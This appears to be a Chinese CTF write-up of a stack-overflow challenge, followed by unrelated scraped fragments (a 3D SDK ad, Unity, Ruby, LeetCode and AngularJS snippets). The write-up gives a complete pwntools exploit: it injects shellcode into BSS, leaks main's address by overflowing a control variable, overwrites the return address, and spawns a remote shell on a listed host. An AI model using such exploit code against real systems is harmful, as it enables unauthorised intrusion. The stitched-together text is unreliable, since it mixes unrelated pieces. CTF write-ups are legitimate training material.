查看程序保护情况,开启了PIE,没开NX,RELRO全开。

在ida64中打开分析程序,这道题程序比较简单。可以发现的信息如下:
字符数组s大小为0x20,但可以读入0x40的长度,起始于rbp-30h处(见红框)
变量v5可以控制循环、条件控制输出main函数地址,该变量位于rbp-20h字符数组s空间后(见粉框)
通过字符串s溢出可控制变量v5的值及函数返回地址
程序运行起始可输入数据到内存BSS段(见蓝框)

根据这些信息,这道题的思路就出来了:
程序起始运行,提示输入name时,输入一段shellcode(将存储到byte_202040处)
通过字符串s溢出控制变量v5的值为3281697,从而泄露出main函数地址
通过main函数地址及byte_202040与main地址偏移,获得shellcode代码地址
构造溢出输入,覆盖返回地址,使程序跳转到shellcode执行,获得系统shell
这道题还是非常简单的,只是我在做的时候shellcode没选对,导致一直没利用成功(忘记改arch值)。
下面是这道题的完整代码:
from pwn import *
sh = remote('61.147.171.105',50187)
# 通过输入name向BSS段写入shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
sh.sendlineafter('name :',shellcode)
# 通过输入内容溢出修改控制变量值,泄露main地址
num = 3281697
payload = b'A'*0x20 + p64(num)
sh.sendlineafter('input :',payload)
sh.recvuntil('you :\n0x')
main_addr = int(sh.recv(12),16)
# 再次通过输入内容溢出,将函数返回地址改为shellcode地址
shellcode_addr = main_addr + 0x202040 - 0xa33
payload2 = b'A'*0x20 + p64(0x1) + b'B'*16 + p64(shellcode_addr)
sh.sendlineafter('input :',payload2)
sh.interactive()
执行结果如图:

无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD
目录一、世界坐标系与本地坐标系二、srcGameObject.transform.TransformPoint(Vector3 vec)三、srcGameObject.transform.TransformVector(Vector3 vec)四、srcGameObject.transform.TransformDirection(Vector3 vec)五:示例一、世界坐标系与本地坐标系 世界坐标很好理解,就是模型的transform.position,通常在无父物体的情况下,创建出来的模型默认位置就是世界坐标系的原点。 每个物体都有自身的坐标系,此坐标系就是本地坐标系。本地坐标
当我输入这个时:puts'repeat'*3我得到:>>repeatrepeatrepeat但是如果我这样做是行不通的:puts3*'repeat'为什么? 最佳答案 在Ruby中,当你调用a*b时,您实际上是在调用一个名为*的方法在a.试试这个,例如:a=5=>5b=6=>6a.*(b)=>30c="hello"=>"hello"c.*(a)=>"hellohellohellohellohello"因此*工作正常,因为*String上的方法了解如何处理整数。它通过将自身的多个副本连接在一起来做出响应。但是当你做3*"repeat"
我很难找到符合我要求的Rails教程(或书籍也很棒):愚蠢Ruby1.9或最新的1.8MySQL一个游戏(简单的掷骰子游戏)JQuery前端谢谢! 最佳答案 RailsforDummies如果愚蠢是一个主要问题,这可能是您最好的选择。 关于jquery-世界上最愚蠢的人(我)的Rails教程?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/3841475/
我一直想知道一些Ruby内置方法的时间复杂度,尤其是这两个。我认为我自己能想到的最好的排列方法是Θ(n·n!),Ruby的内置性能更好吗?如果是这样,请帮助我了解他们的算法。 最佳答案 排列Array#permutation返回一个带有n!数组的枚举器,因此时间复杂度至少为O(n!)。我写了这个方法:defslow_method(n)(1..n).to_a.permutation.eachdo|p|pendend它不对p做任何事情,期望强制生成所有排列。构建所有排列的数组会占用太多内存。此方法在n为10到13时被调用了10次,平均秒
这是一道简单题题目来自:https://leetcode.cn/problems/two-sum/题目给定一个整数数组nums和一个整数目标值target,请你在该数组中找出和为目标值target的那两个整数,并返回它们的数组下标。你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。你可以按任意顺序返回答案。提示:22nums.length104−109−109nums[i]109−109−109target109只会存在一个有效答案进阶:你可以想出一个时间复杂度小于O(n2)O(n^2)O(n2)的算法吗?示例1:输入:nums=[2,7,11,15],targe
关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。我们不允许提问寻求书籍、工具、软件库等的推荐。您可以编辑问题,以便用事实和引用来回答。关闭7年前。Improvethisquestion出于self教育的目的,我想研究一个复杂的RubyOnRails(最好是3个)业务应用程序的代码,以便我可以了解如何在现实世界中使用Rails做事.有很多“另一个博客”或“另一个CMS”,但我真的在研究一个具有相当高复杂性(在业务规则方面)的Rails应用程序,但不仅仅是CRUD。像房地产系统这样的东西必须足够复杂。或者可能在政府领域(根据定义总是很复杂:))。谢谢。
当我运行像gem-v这样的Ruby命令时,我得到了这个错误:/Users/kristoffer/.rvm/rubies/ruby-1.9.2-p180/bin/gem:4:warning:Insecureworldwritabledir/Users/kristofferinPATH,mode0407771.6.2首先我不明白这是什么意思。根据echo$PATH,/Users/kristoffer不在我的路径中。echo$PATH的结果是:/Users/kristoffer/.rvm/gems/ruby-1.9.2-p180/bin:/Users/kristoffer/.rvm/gems
我正在尝试使用搜索文本框过滤ng-repeat中的嵌套对象。给定以下对象:$scope.items={"1":{name:"FirstItem",tag:"first"},"2":{name:"SecondItem",tag:"second"}};我想做这样的事情:Usingboth{{key}}and{{values.name}}这确实不行。我尝试了很多东西,但无法使其正常工作。我不想改变我的对象。我搜索了很多,但没有找到适合我需要的东西。 最佳答案 我终于找到了我自己问题的答案。我只需要创建自己的过滤器并使用正则表达式检查对象内
有没有什么方法可以使用Angular过滤器将值与数组中的每个值进行比较?Categories:{{c}}我想显示i.categories中不在myArray中的值:$scope.i={categories:["Europe&Eurasia","Featured","Headlines","MiddleEast","News","NEWSBYTOPIC","NewsCategories","REGIONALNEWS"]};$scope.myArray=['Featured','Headlines','News'];我想从c获取不包含在myArray中的所有内容。我尝试编写一些函数,但由于